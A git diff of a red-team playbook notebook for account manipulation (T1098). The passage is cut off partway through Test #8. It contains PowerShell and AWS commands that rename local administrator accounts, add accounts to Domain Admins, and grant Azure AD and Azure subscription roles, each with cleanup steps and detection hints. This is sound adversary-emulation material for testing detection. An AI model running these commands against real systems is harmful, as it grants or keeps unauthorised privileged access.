a/playbook/tactics/persistence/T1098.ipynb b/playbook/tactics/persistence/T1098.ipynb index 18e3bada..753b651d 100644 --- a/playbook/tactics/persistence/T1098.ipynb +++ b/playbook/tactics/persistence/T1098.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "7d71c13e", + "id": "d9bb10d7", "metadata": {}, - "source": "# T1098 - Account Manipulation\nAdversaries may manipulate accounts to maintain access to victim systems. Account manipulation may consist of any action that preserves adversary access to a compromised account, such as modifying credentials or permission groups. These actions could also include account activity designed to subvert security policies, such as performing iterative password updates to bypass password duration policies and preserve the life of compromised credentials. \n\nIn order to create or manipulate accounts, the adversary must already have sufficient permissions on systems or the domain. However, account manipulation may also lead to privilege escalation where modifications grant access to additional roles, permissions, or higher-privileged [Valid Accounts](https://attack.mitre.org/techniques/T1078)." + "source": "# T1098 - Account Manipulation\nAdversaries may manipulate accounts to maintain and/or elevate access to victim systems. Account manipulation may consist of any action that preserves or modifies adversary access to a compromised account, such as modifying credentials or permission groups. These actions could also include account activity designed to subvert security policies, such as performing iterative password updates to bypass password duration policies and preserve the life of compromised credentials. \n\nIn order to create or manipulate accounts, the adversary must already have sufficient permissions on systems or the domain. However, account manipulation may also lead to privilege escalation where modifications grant access to additional roles, permissions, or higher-privileged [Valid Accounts](https://attack.mitre.org/techniques/T1078)." }, { "cell_type": "markdown", - "id": "dba1a561", + "id": "89c6858b", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "23e46f6b", + "id": "4211184d", "metadata": {}, "source": [ "### Atomic Test #1 - Admin Account Manipulate", @@ -22,48 +22,48 @@ "**Supported Platforms:** windows", "\nElevation Required (e.g. root or admin)", "#### Attack Commands: Run with `powershell`\n", - "```powershell\n$x = Get-Random -Minimum 2 -Maximum 9999\n$y = Get-Random -Minimum 2 -Maximum 9999\n$z = Get-Random -Minimum 2 -Maximum 9999\n$w = Get-Random -Minimum 2 -Maximum 9999\nWrite-Host HaHa_$x$y$z\n\n$fmm = Get-LocalGroupMember -Group Administrators |?{ $_.ObjectClass -match \"User\" -and $_.PrincipalSource -match \"Local\"} | Select Name\n\nforeach($member in $fmm) {\n if($member -like \"*Administrator*\") {\n $account = $member.Name -replace \".+\\\\\\\",\"\" # strip computername\\\n $originalDescription = (Get-LocalUser -Name $account).Description\n Set-LocalUser -Name $account -Description \"atr:$account;$originalDescription\".Substring(0,48) # Keep original name in description\n Rename-LocalUser -Name $account -NewName \"HaHa_$x$y$z\" # Required due to length limitation\n Write-Host \"Successfully Renamed $account Account on \" $Env:COMPUTERNAME\n }\n }\n```" + "```powershell\n$x = Get-Random -Minimum 2 -Maximum 9999\n$y = Get-Random -Minimum 2 -Maximum 9999\n$z = Get-Random -Minimum 2 -Maximum 9999\n$w = Get-Random -Minimum 2 -Maximum 9999\nWrite-Host HaHa_$x$y$z\n\n$fmm = Get-LocalGroupMember -Group Administrators |?{ $_.ObjectClass -match \"User\" -and $_.PrincipalSource -match \"Local\"} | Select Name\n\nforeach($member in $fmm) {\n if($member -like \"*Administrator*\") {\n $account = $member.Name.Split(\"\\\")[-1] # strip computername\\\n $originalDescription = (Get-LocalUser -Name $account).Description\n Set-LocalUser -Name $account -Description \"atr:$account;$originalDescription\".Substring(0,48) # Keep original name in description\n Rename-LocalUser -Name $account -NewName \"HaHa_$x$y$z\" # Required due to length limitation\n Write-Host \"Successfully Renamed $account Account on \" $Env:COMPUTERNAME\n }\n }\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "cc2cdcde", + "id": "b3790000", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1098 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "154219f8", + "id": "fbfdb2e2", "metadata": {}, "source": "#### Cleanup: \n```powershell\n$list = Get-LocalUser |?{$_.Description -like \"atr:*\"}\nforeach($u in $list) {\n $u.Description -match \"atr:(?[^;]+);(?.*)\"\n Set-LocalUser -Name $u.Name -Description $Matches.Description\n Rename-LocalUser -Name $u.Name -NewName $Matches.Name\n Write-Host \"Successfully Reverted Account $($u.Name) to $($Matches.Name) on \" $Env:COMPUTERNAME\n}\n```" }, { "cell_type": "code", "execution_count": null, - "id": "1db5c65c", + "id": "5f03037a", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1098 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "4ebd63f1", + "id": "fe0a705b", "metadata": {}, "source": "### Atomic Test #2 - Domain Account and Group Manipulate\nCreate a random atr-nnnnnnnn account and add it to a domain group (by default, Domain Admins). \n\nThe quickest way to run it is against a domain controller, using `-Session` of `Invoke-AtomicTest`. Alternatively,\nyou need to install PS Module ActiveDirectory (in prereqs) and run the script with appropriare AD privileges to \ncreate the user and alter the group. Automatic installation of the dependency requires an elevated session, \nand is unlikely to work with Powershell Core (untested).\n\nIf you consider running this test against a production Active Directory, the good practise is to create a dedicated\nservice account whose delegation is given onto a dedicated OU for user creation and deletion, as well as delegated\nas group manager of the target group.\n\nExample: `Invoke-AtomicTest -Session $session 'T1098' -TestNames \"Domain Account and Group Manipulate\" -InputArgs @{\"group\" = \"DNSAdmins\" }`\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: PS Module ActiveDirectory\n\n##### Check Prereq Commands:\n```powershell\nTry {\n Import-Module ActiveDirectory -ErrorAction Stop | Out-Null\n exit 0\n} \nCatch {\n exit 1\n}\n\n```\n##### Get Prereq Commands:\n```powershell\nif((Get-CimInstance -ClassName Win32_OperatingSystem).ProductType -eq 1) {\n Add-WindowsCapability -Name (Get-WindowsCapability -Name RSAT.ActiveDirectory.DS* -Online).Name -Online\n} else {\n Install-WindowsFeature RSAT-AD-PowerShell\n}\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "4eef3bb8", + "id": "7bdc3df7", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1098 -TestNumbers 2 -GetPreReqs" }, { "cell_type": "markdown", - "id": "0a7cfebc", + "id": "65b5ec86", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", @@ -73,42 +73,42 @@ { "cell_type": "code", "execution_count": null, - "id": "4b953bf2", + "id": "4394077a", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1098 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "e7c760c6", + "id": "19cc28c4", "metadata": {}, "source": "#### Cleanup: \n```powershell\nGet-ADUser -LDAPFilter \"(&(samaccountname=atr--*)(givenName=Test))\" | Remove-ADUser -Confirm:$False\n```" }, { "cell_type": "code", "execution_count": null, - "id": "1fec41d2", + "id": "3ef9a1f7", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1098 -TestNumbers 2 -Cleanup" }, { "cell_type": "markdown", - "id": "320f483c", + "id": "81b53725", "metadata": {}, "source": "### Atomic Test #3 - AWS - Create a group and add a user to that group\nAdversaries create AWS group, add users to specific to that group to elevate their privilieges to gain more accesss\n\n**Supported Platforms:** iaas:aws\n#### Dependencies: Run with `sh`!\n##### Description: Check if the user exists, we can only add a user to a group if the user exists.\n\n##### Check Prereq Commands:\n```sh\naws iam list-users | grep atomicredteam\n\n```\n##### Get Prereq Commands:\n```sh\necho Please run atomic test T1136.003, before running this atomic test\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "a67ed442", + "id": "8cbe443f", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1098 -TestNumbers 3 -GetPreReqs" }, { "cell_type": "markdown", - "id": "33f95999", + "id": "3d7e62ae", "metadata": {}, "source": [ "#### Attack Commands: Run with `sh`\n", @@ -118,177 +118,177 @@ { "cell_type": "code", "execution_count": null, - "id": "8052903b", + "id": "5e84f5d2", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1098 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "d14ffa4c", + "id": "9999ed88", "metadata": {}, "source": "#### Cleanup: \n```sh\naws iam remove-user-from-group --user-name atomicredteam --group-name atomicredteam\naws iam delete-group --group-name atomicredteam\n```" }, { "cell_type": "code", "execution_count": null, - "id": "594cf55a", + "id": "1c6259f7", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1098 -TestNumbers 3 -Cleanup" }, { "cell_type": "markdown", - "id": "5394bdd3", + "id": "82350806", "metadata": {}, "source": "### Atomic Test #4 - Azure AD - adding user to Azure AD role\nThe adversaries want to add user to some Azure AD role. Threat actor \nmay be interested primarily in highly privileged roles, e.g. Global Administrator, Application Administrator, \nPrivileged Authentication Administrator (this role can reset Global Administrator password!).\nBy default, the role Global Reader is assigned to the user principal in this test.\n\nThe account you use to run the PowerShell command should have Privileged Role Administrator or Global Administrator role in your Azure AD.\n\nDetection hint - check Activity \"Add member to role\" in Azure AD Audit Logs. In targer you will also see User as a type.\n\n**Supported Platforms:** azure-ad\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: AzureAD module must be installed.\n\n##### Check Prereq Commands:\n```powershell\ntry {if (Get-InstalledModule -Name AzureAD -ErrorAction SilentlyContinue) {exit 0} else {exit 1}} catch {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nInstall-Module -Name AzureAD -Force\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "4a2c5b8c", + "id": "124cba0d", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1098 -TestNumbers 4 -GetPreReqs" }, { "cell_type": "markdown", - "id": "5d4fca5c", + "id": "a557225d", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", - "```powershell\nImport-Module -Name AzureAD\n$PWord = ConvertTo-SecureString -String \"p4sswd\" -AsPlainText -Force\n$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList \"jonh@contoso.com\", $Pword\nConnect-AzureAD -Credential $Credential\n\n$user = Get-AzureADUser | where-object {$_.DisplayName -eq \"SuperUser\"}\nif ($user -eq $null) { Write-Warning \"User not found\"; exit }\n$role = Get-AzureADDirectoryRole | where-object {$_.DisplayName -eq \"Global Reader\"}\nif ($role -eq $null) { Write-Warning \"Role not found\"; exit }\nAdd-AzureADDirectoryRoleMember -ObjectId $role.ObjectId -RefObjectId $user.ObjectId\nWrite-Host \"User $($user.DisplayName) was added to $($role.DisplayName) role\"\n```" + "```powershell\nImport-Module -Name AzureAD\n$PWord = ConvertTo-SecureString -String \"p4sswd\" -AsPlainText -Force\n$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList \"jonh@contoso.com\", $Pword\nConnect-AzureAD -Credential $Credential\n\n$user = Get-AzureADUser -Filter \"DisplayName eq 'SuperUser' or UserPrincipalName eq 'SuperUser'\"\nif ($user -eq $null) { Write-Warning \"User not found\"; exit }\n$role = Get-AzureADDirectoryRole -Filter \"DisplayName eq 'Global Reader'\"\nif ($role -eq $null) { Write-Warning \"Role not found\"; exit }\nAdd-AzureADDirectoryRoleMember -ObjectId $role.ObjectId -RefObjectId $user.ObjectId\nWrite-Host \"User $($user.DisplayName) was added to $($role.DisplayName) role\"\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "16b0fc4e", + "id": "0af8ba0c", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1098 -TestNumbers 4" }, { "cell_type": "markdown", - "id": "84d45cb9", + "id": "2dc74600", "metadata": {}, - "source": "#### Cleanup: \n```powershell\nImport-Module -Name AzureAD -ErrorAction Ignore\n$PWord = ConvertTo-SecureString -String \"p4sswd\" -AsPlainText -Force\n$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList \"jonh@contoso.com\", $Pword\nConnect-AzureAD -Credential $Credential -ErrorAction Ignore\n\n$user = Get-AzureADUser | where-object {$_.DisplayName -eq \"SuperUser\"}\nif ($user -eq $null) { Write-Warning \"User not found\"; exit }\n$role = Get-AzureADDirectoryRole | where-object {$_.DisplayName -eq \"Global Reader\"}\nif ($role -eq $null) { Write-Warning \"Role not found\"; exit }\n\nRemove-AzureADDirectoryRoleMember -ObjectId $role.ObjectId -MemberId $user.ObjectId\nWrite-Host \"User $($user.DisplayName) was removed from $($role.DisplayName) role\"\n```" + "source": "#### Cleanup: \n```powershell\nImport-Module -Name AzureAD -ErrorAction Ignore\n$PWord = ConvertTo-SecureString -String \"p4sswd\" -AsPlainText -Force\n$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList \"jonh@contoso.com\", $Pword\nConnect-AzureAD -Credential $Credential -ErrorAction Ignore\n\n$user = Get-AzureADUser -Filter \"DisplayName eq 'SuperUser' or UserPrincipalName eq 'SuperUser'\"\nif ($user -eq $null) { Write-Warning \"User not found\"; exit }\n$role = Get-AzureADDirectoryRole -Filter \"DisplayName eq 'Global Reader'\"\nif ($role -eq $null) { Write-Warning \"Role not found\"; exit }\n\nRemove-AzureADDirectoryRoleMember -ObjectId $role.ObjectId -MemberId $user.ObjectId\nWrite-Host \"User $($user.DisplayName) was removed from $($role.DisplayName) role\"\n```" }, { "cell_type": "code", "execution_count": null, - "id": "d7733d80", + "id": "47397aca", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1098 -TestNumbers 4 -Cleanup" }, { "cell_type": "markdown", - "id": "90efc0a7", + "id": "1761318d", "metadata": {}, "source": "### Atomic Test #5 - Azure AD - adding service principal to Azure AD role\nThe adversaries want to add service principal to some Azure AD role. Threat actor \nmay be interested primarily in highly privileged roles, e.g. Global Administrator, Application Administrator, \nPrivileged Authentication Administrator (this role can reset Global Administrator password!).\nBy default, the role Global Reader is assigned to service principal in this test.\n\nThe account you use to run the PowerShell command should have Privileged Role Administrator or Global Administrator role in your Azure AD.\n\nDetection hint - check Activity \"Add member to role\" in Azure AD Audit Logs. In targer you will also see Service Principal as a type.\n\n**Supported Platforms:** azure-ad\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: AzureAD module must be installed.\n\n##### Check Prereq Commands:\n```powershell\ntry {if (Get-InstalledModule -Name AzureAD -ErrorAction SilentlyContinue) {exit 0} else {exit 1}} catch {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nInstall-Module -Name AzureAD -Force\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "ccf9b98d", + "id": "93642325", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1098 -TestNumbers 5 -GetPreReqs" }, { "cell_type": "markdown", - "id": "4eeb2396", + "id": "272d625b", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", - "```powershell\nImport-Module -Name AzureAD\n$PWord = ConvertTo-SecureString -String \"p4sswd\" -AsPlainText -Force\n$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList \"jonh@contoso.com\", $Pword\nConnect-AzureAD -Credential $Credential\n\n$sp = Get-AzureADServicePrincipal | where-object {$_.DisplayName -eq \"SuperSP\"}\nif ($sp -eq $null) { Write-Warning \"Service Principal not found\"; exit }\n$role = Get-AzureADDirectoryRole | where-object {$_.DisplayName -eq \"Global Reader\"}\nif ($role -eq $null) { Write-Warning \"Role not found\"; exit }\nAdd-AzureADDirectoryRoleMember -ObjectId $role.ObjectId -RefObjectId $sp.ObjectId\nWrite-Host \"Service Principal $($sp.DisplayName) was added to $($role.DisplayName)\"\n```" + "```powershell\nImport-Module -Name AzureAD\n$PWord = ConvertTo-SecureString -String \"p4sswd\" -AsPlainText -Force\n$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList \"jonh@contoso.com\", $Pword\nConnect-AzureAD -Credential $Credential\n\n$sp = Get-AzureADServicePrincipal -Filter \"DisplayName eq 'SuperSP'\"\nif ($sp -eq $null) { Write-Warning \"Service Principal not found\"; exit }\n$role = Get-AzureADDirectoryRole -Filter \"DisplayName eq 'Global Reader'\"\nif ($role -eq $null) { Write-Warning \"Role not found\"; exit }\nAdd-AzureADDirectoryRoleMember -ObjectId $role.ObjectId -RefObjectId $sp.ObjectId\nWrite-Host \"Service Principal $($sp.DisplayName) was added to $($role.DisplayName)\"\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "53d8f211", + "id": "b2460e41", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1098 -TestNumbers 5" }, { "cell_type": "markdown", - "id": "3fe47321", + "id": "58c07d8a", "metadata": {}, - "source": "#### Cleanup: \n```powershell\nImport-Module -Name AzureAD -ErrorAction Ignore\n$PWord = ConvertTo-SecureString -String \"p4sswd\" -AsPlainText -Force\n$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList \"jonh@contoso.com\", $Pword\nConnect-AzureAD -Credential $Credential -ErrorAction Ignore\n\n$sp = Get-AzureADServicePrincipal | where-object {$_.DisplayName -eq \"SuperSP\"}\nif ($sp -eq $null) { Write-Warning \"Service Principal not found\"; exit }\n$role = Get-AzureADDirectoryRole | where-object {$_.DisplayName -eq \"Global Reader\"}\nif ($role -eq $null) { Write-Warning \"Role not found\"; exit }\n\nRemove-AzureADDirectoryRoleMember -ObjectId $role.ObjectId -MemberId $sp.ObjectId\nWrite-Host \"Service Principal $($sp.DisplayName) was removed from $($role.DisplayName) role\"\n```" + "source": "#### Cleanup: \n```powershell\nImport-Module -Name AzureAD -ErrorAction Ignore\n$PWord = ConvertTo-SecureString -String \"p4sswd\" -AsPlainText -Force\n$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList \"jonh@contoso.com\", $Pword\nConnect-AzureAD -Credential $Credential -ErrorAction Ignore\n\n$sp = Get-AzureADServicePrincipal -Filter \"DisplayName eq 'SuperSP'\"\nif ($sp -eq $null) { Write-Warning \"Service Principal not found\"; exit }\n$role = Get-AzureADDirectoryRole -Filter \"DisplayName eq 'Global Reader'\"\nif ($role -eq $null) { Write-Warning \"Role not found\"; exit }\n\nRemove-AzureADDirectoryRoleMember -ObjectId $role.ObjectId -MemberId $sp.ObjectId\nWrite-Host \"Service Principal $($sp.DisplayName) was removed from $($role.DisplayName) role\"\n```" }, { "cell_type": "code", "execution_count": null, - "id": "803140aa", + "id": "77e6f2f4", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1098 -TestNumbers 5 -Cleanup" }, { "cell_type": "markdown", - "id": "56990977", + "id": "27b8d4d8", "metadata": {}, "source": "### Atomic Test #6 - Azure - adding user to Azure role in subscription\nThe adversaries want to add user to some Azure role, also called Azure resource role. Threat actor \nmay be interested primarily in highly privileged roles, e.g. Owner, Contributor.\nBy default, the role Reader is assigned to user in this test.\n\nNew-AzRoleAssignment cmdlet could be also use to assign user/service principal to resource, resource group and management group.\n\nThe account you use to run the PowerShell command must have Microsoft.Authorization/roleAssignments/write \n(e.g. such as User Access Administrator or Owner) and the Azure Active Directory Graph Directory.Read.All \nand Microsoft Graph Directory.Read.All permissions.\n\nDetection hint - check Operation Name \"Create role assignment\" in subscriptions Activity Logs.\n\n**Supported Platforms:** iaas:azure\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: Az.Resources module must be installed.\n\n##### Check Prereq Commands:\n```powershell\ntry {if (Get-InstalledModule -Name Az.Resources -ErrorAction SilentlyContinue) {exit 0} else {exit 1}} catch {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nInstall-Module -Name Az.Resources -Force\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "3bcb079a", + "id": "8de3178d", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1098 -TestNumbers 6 -GetPreReqs" }, { "cell_type": "markdown", - "id": "5657166f", + "id": "6c3f2257", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", - "```powershell\nImport-Module -Name Az.Resources\n$PWord = ConvertTo-SecureString -String \"p4sswd\" -AsPlainText -Force\n$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList \"jonh@contoso.com\", $Pword\nConnect-AzAccount -Credential $Credential\n\n$user = Get-AzADUser | where-object {$_.DisplayName -eq \"SuperUser\"}\nif ($user -eq $null) { Write-Warning \"User not found\"; exit }\n$subscription = Get-AzSubscription | where-object {$_.Name -eq \"Azure subscription 1\"}\nif ($subscription -eq $null) { Write-Warning \"Subscription not found\"; exit }\n$role = Get-AzRoleDefinition | where-object {$_.Name -eq \"Reader\"}\nif ($role -eq $null) { Write-Warning \"Role not found\"; exit }\n\nNew-AzRoleAssignment -ObjectId $user.id -RoleDefinitionId $role.id -Scope /subscriptions/$subscription\nWrite-Host \"User $($user.DisplayName) was added to $($role.Name) role in subscriptions $($subscriptions.Name)\"\n```" + "```powershell\nImport-Module -Name Az.Resources\n$PWord = ConvertTo-SecureString -String \"p4sswd\" -AsPlainText -Force\n$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList \"jonh@contoso.com\", $Pword\nConnect-AzAccount -Credential $Credential\n\n$user = Get-AzADUser | where-object {$_.DisplayName -eq \"SuperUser\" -or $_.UserPrincipalName -eq \"SuperUser\" }\nif ($user -eq $null) { Write-Warning \"User not found\"; exit }\n$subscription = Get-AzSubscription | where-object {$_.Name -eq \"Azure subscription 1\"}\nif ($subscription -eq $null) { Write-Warning \"Subscription not found\"; exit }\n$role = Get-AzRoleDefinition | where-object {$_.Name -eq \"Reader\"}\nif ($role -eq $null) { Write-Warning \"Role not found\"; exit }\n\nNew-AzRoleAssignment -ObjectId $user.id -RoleDefinitionId $role.id -Scope /subscriptions/$subscription\nWrite-Host \"User $($user.DisplayName) was added to $($role.Name) role in subscriptions $($subscriptions.Name)\"\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "759869c4", + "id": "2883294d", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1098 -TestNumbers 6" }, { "cell_type": "markdown", - "id": "a727c64e", + "id": "031ed1ff", "metadata": {}, - "source": "#### Cleanup: \n```powershell\nImport-Module -Name AzureAD -ErrorAction Ignore\n$PWord = ConvertTo-SecureString -String \"p4sswd\" -AsPlainText -Force\n$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList \"jonh@contoso.com\", $Pword\nConnect-AzAccount -Credential $Credential -ErrorAction Ignore\n\n$user = Get-AzADUser | where-object {$_.DisplayName -eq \"SuperUser\"}\nif ($user -eq $null) { Write-Warning \"User not found\"; exit }\n$subscription = Get-AzSubscription | where-object {$_.Name -eq \"Azure subscription 1\"}\nif ($subscription -eq $null) { Write-Warning \"Subscription not found\"; exit }\n$role = Get-AzRoleDefinition | where-object {$_.Name -eq \"Reader\"}\nif ($role -eq $null) { Write-Warning \"Role not found\"; exit }\n\nRemove-AzRoleAssignment -ObjectId $user.id -RoleDefinitionId $role.id -Scope /subscriptions/$subscription\nWrite-Host \"User Principal $($sp.DisplayName) was removed from $($role.Name) role in subscriptions $($subscriptions.Name)\"\n```" + "source": "#### Cleanup: \n```powershell\nImport-Module -Name AzureAD -ErrorAction Ignore\n$PWord = ConvertTo-SecureString -String \"p4sswd\" -AsPlainText -Force\n$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList \"jonh@contoso.com\", $Pword\nConnect-AzAccount -Credential $Credential -ErrorAction Ignore\n\n$user = Get-AzADUser | where-object {$_.DisplayName -eq \"SuperUser\" -or $_.UserPrincipalName -eq \"SuperUser\" }\nif ($user -eq $null) { Write-Warning \"User not found\"; exit }\n$subscription = Get-AzSubscription | where-object {$_.Name -eq \"Azure subscription 1\"}\nif ($subscription -eq $null) { Write-Warning \"Subscription not found\"; exit }\n$role = Get-AzRoleDefinition | where-object {$_.Name -eq \"Reader\"}\nif ($role -eq $null) { Write-Warning \"Role not found\"; exit }\n\nRemove-AzRoleAssignment -ObjectId $user.id -RoleDefinitionId $role.id -Scope /subscriptions/$subscription\nWrite-Host \"User Principal $($sp.DisplayName) was removed from $($role.Name) role in subscriptions $($subscriptions.Name)\"\n```" }, { "cell_type": "code", "execution_count": null, - "id": "75392efd", + "id": "ddcce2d7", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1098 -TestNumbers 6 -Cleanup" }, { "cell_type": "markdown", - "id": "1a5c3dd3", + "id": "2ab1a183", "metadata": {}, "source": "### Atomic Test #7 - Azure - adding service principal to Azure role in subscription\nThe adversaries want to add service principal to some Azure role, also called Azure resource role. Threat actor \nmay be interested primarily in highly privileged roles, e.g. Owner, Contributor.\nBy default, the role Reader is assigned to service principal in this test.\n\nNew-AzRoleAssignment cmdlet could be also use to assign user/service principal to resource, resource group and management group.\n\nThe account you use to run the PowerShell command must have Microsoft.Authorization/roleAssignments/write \n(e.g. such as User Access Administrator or Owner) and the Azure Active Directory Graph Directory.Read.All \nand Microsoft Graph Directory.Read.All permissions.\n\nDetection hint - check Operation Name \"Create role assignment\" in subscriptions Activity Logs.\n\n**Supported Platforms:** iaas:azure\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: Az.Resources module must be installed.\n\n##### Check Prereq Commands:\n```powershell\ntry {if (Get-InstalledModule -Name Az.Resources -ErrorAction SilentlyContinue) {exit 0} else {exit 1}} catch {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nInstall-Module -Name Az.Resources -Force\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "7c406c5d", + "id": "ce679c6c", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1098 -TestNumbers 7 -GetPreReqs" }, { "cell_type": "markdown", - "id": "a5e63d31", + "id": "59ae9760", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", @@ -298,73 +298,73 @@ { "cell_type": "code", "execution_count": null, - "id": "17895c0f", + "id": "74b5c812", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1098 -TestNumbers 7" }, { "cell_type": "markdown", - "id": "fe1e3f1f", + "id": "a98fa953", "metadata": {}, "source": "#### Cleanup: \n```powershell\nImport-Module -Name AzureAD -ErrorAction Ignore\n$PWord = ConvertTo-SecureString -String \"p4sswd\" -AsPlainText -Force\n$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList \"jonh@contoso.com\", $Pword\nConnect-AzAccount -Credential $Credential -ErrorAction Ignore\n\n$sp = Get-AzADServicePrincipal | where-object {$_.DisplayName -eq \"SuperSP\"}\nif ($sp -eq $null) { Write-Warning \"Service Principal not found\"; exit }\n$subscription = Get-AzSubscription | where-object {$_.Name -eq \"Azure subscription 1\"} \nif ($subscription -eq $null) { Write-Warning \"Subscription not found\"; exit }\n$role = Get-AzRoleDefinition | where-object {$_.Name -eq \"Reader\"}\nif ($role -eq $null) { Write-Warning \"Role not found\"; exit }\n\nRemove-AzRoleAssignment -ObjectId $sp.id -RoleDefinitionId $role.id -Scope /subscriptions/$subscription\nWrite-Host \"Service Principal $($sp.DisplayName) was removed from $($role.Name) role in subscriptions $($subscriptions.Name)\"\n```" }, { "cell_type": "code", "execution_count": null, - "id": "4c4c5fa6", + "id": "fc1244f7", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1098 -TestNumbers 7 -Cleanup" }, { "cell_type": "markdown", - "id": "3a218528", + "id": "ba9a2802", "metadata": {}, - "source": "### Atomic Test #8 - Azure AD - adding permission to application\nThe adversaries want to add permission to new created application. Application could be then use for persistence or for further operation in the attacked infrastructure. Permissions like AppRoleAssignment.ReadWrite.All or RoleManagement.ReadWrite.Directory in particular can be a valuable target for a threat actor.\nYou can use Get-AzureADApplication instead of New-AzureADServicePrincipal to use an existing application.\nThe DirectoryRecommendations.Read.All permissions have been selected as the default\n\nThe account you use to run the PowerShell command should have Global Administrator/Application Administrator/Cloud Application Administrator role in your Azure AD.\n\nDetection hint - check Operation Name \"Add app role assignment to service principal\" in subscriptions Activity Logs.\nYou can also take a look at the materials:\nhttps://learnsentinel.blog/2022/01/04/azuread-privesc-sentinel/\nhttps://github.com/reprise99/Sentinel-Queries\nhttps://docs.google.com/presentation/d/1AWx1w0Xcq8ENvOmSjAJswEgEio-il09QWZlGg9PbHqE/edit#slide=id.g10460eb209c_0_2766\nhttps://gist.github.com/andyrobbins/7c3dd62e6ed8678c97df9565ff3523fb\n\n**Supported Platforms:** azure-ad\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: AzureAD module must be installed.\n\n##### Check Prereq Commands:\n```powershell\ntry {if (Get-InstalledModule -Name AzureAD -ErrorAction SilentlyContinue) {exit 0} else {exit 1}} catch {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nInstall-Module -Name AzureAD -Force\n\n```" + "source": "### Atomic Test #8 - Azure AD - adding permission to application\nThe adversaries want to add permission to newly created application. Application could be then used for persistence or for further operation in the attacked infrastructure. Permissions like AppRoleAssignment.ReadWrite.All or RoleManagement.ReadWrite.Directory in particular can be a valuable target for a threat actor.\nThis technique will create a new app, with the provided name, and give it the provided permission. But if you prefer to add credentials to an existing app, replace in the code: \"Get-AzureADApplication\" instead of \"New-AzureADServicePrincipal\".\nThe DirectoryRecommendations.Read.All permissions has been selected as the default.\n\nThe account you use to run the PowerShell command should have Global Administrator/Application Administrator/Cloud Application Administrator role in your Azure AD.\n\nDetection hint - check Operation Name \"Add app role assignment to service principal\" in subscriptions Activity Logs.\nYou can also take a look at the materials:\nhttps://learnsentinel.blog/2022/01/04/azuread-privesc-sentinel/\nhttps://github.com/reprise99/Sentinel-Queries\nhttps://docs.google.com/presentation/d/1AWx1w0Xcq8ENvOmSjAJswEgEio-il09QWZlGg9PbHqE/edit#slide=id.g10460eb209c_0_2766\nhttps://gist.github.com/andyrobbins/7c3dd62e6ed8678c97df9565ff3523fb\n\n**Supported Platforms:** azure-ad\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: AzureAD module must be installed.\n\n##### Check Prereq Commands:\n```powershell\ntry {if (Get-InstalledModule -Name AzureAD -ErrorAction SilentlyContinue) {exit 0} else {exit 1}} catch {exit 